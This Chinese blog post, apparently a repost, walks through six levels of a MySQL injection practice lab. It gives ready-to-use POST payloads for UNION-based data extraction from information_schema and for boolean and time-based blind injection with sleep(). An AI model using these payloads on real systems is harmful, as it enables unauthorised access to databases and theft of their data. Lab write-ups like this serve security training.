【MySQL注入-06】

目录

 

一、第十一关

二、第十二关

三、第十三关

四、第十四关

五、第十五关

六、第十六关


一、第十一关

本关和前面10关提交方式不一样,可以看到是from表单POST提交,但注入原理是一样的。

通过加入单引号,返回数据库报错,说明为基于错误信息的SQL注入,根据错误提示,推断构造语句为username='$name' and pwd='$pwd'那么我们来手工注入复习一波。

开始手工注入:

#猜字段
uname=aaa' order by 3%23&passwd=2&submit=Submit    #返回字段数错误页面
uname=aaa' order by 2%23&passwd=2&submit=Submit    #返回正常页面,说明当前表中字段数为2个

#获取数据库系统信息
uname=aaa' union select version(),user()%23&passwd=2&submit=Submit    #获取基本信息

#获取全部数据库名
uname=aaa' union select schema_name,null from information_schema.schemata limit 2,1%23&passwd=2&submit=Submit

#获取该数据库下的表名
uname=aaa' union select table_name,null from information_schema.tables where table_schema='security' limit 1,1%23&passwd=2&submit=Submit

#获取该表名下的字段名
uname=aaa' union select null,column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1%23&passwd=2&submit=Submit

二、第十二关

本关和第十一关类似,还是居于错误的SQL注入,只是单引号换成")而已,具体测试步骤就参考上一关。

闭合采用uname=admin")进行闭合

三、第十三关

本关在后面加入单引号,返回数据库报错,根据报错信息可以看到构造语句是uname = ('$name'),那么只要闭合uname=admin')即可。

但注入永真语句,不返回数据库信息了,那么本关就考的是盲注

uname=admin') and 1%23&passwd=123456&submit=Submit

开始注入:

uname=admin') and if(1,sleep(5),0)%23&passwd=123456&submit=Submit    #网页返回延迟了,说明执行了sleep函数

#因为网页登录成功和登录失败返回的字段大小不一样,那么可以通过二分搜索法来进行判断
uname=admin') and if(substring(version(),1,1)='5',1,0)%23&passwd=123456&submit=Submit    #判断当前数据库版本是否为

四、第十四关

本关和十三关类似,也是盲注,通过添加双引号,也会返回数据库错误信息,只要闭合双引号即可。

五、第十五关

本关无论输入什么都返回一样的页面,说明不能靠返回字段大小判断了,只能靠时间延迟函数判断是否延迟进行注入了。

uname=admin' and if(1,sleep(5),0)%23&passwd=123456&submit=Submit    #网页延迟了返回

uname=admin' and if(substring(version(),1,1)='5',sleep(5),0)%23&passwd=123456&submit=Submit    #网页延迟返回   说明数据库版本为5

六、第十六关

本关和十五关类似,通过测试此语句网页返回了延迟,说明闭合")即可。

uname=admin") and if(1,sleep(5),0)%23&passwd=123456&submit=Submit

猜你喜欢

转载自blog.csdn.net/a15803617402/article/details/81431650
今日推荐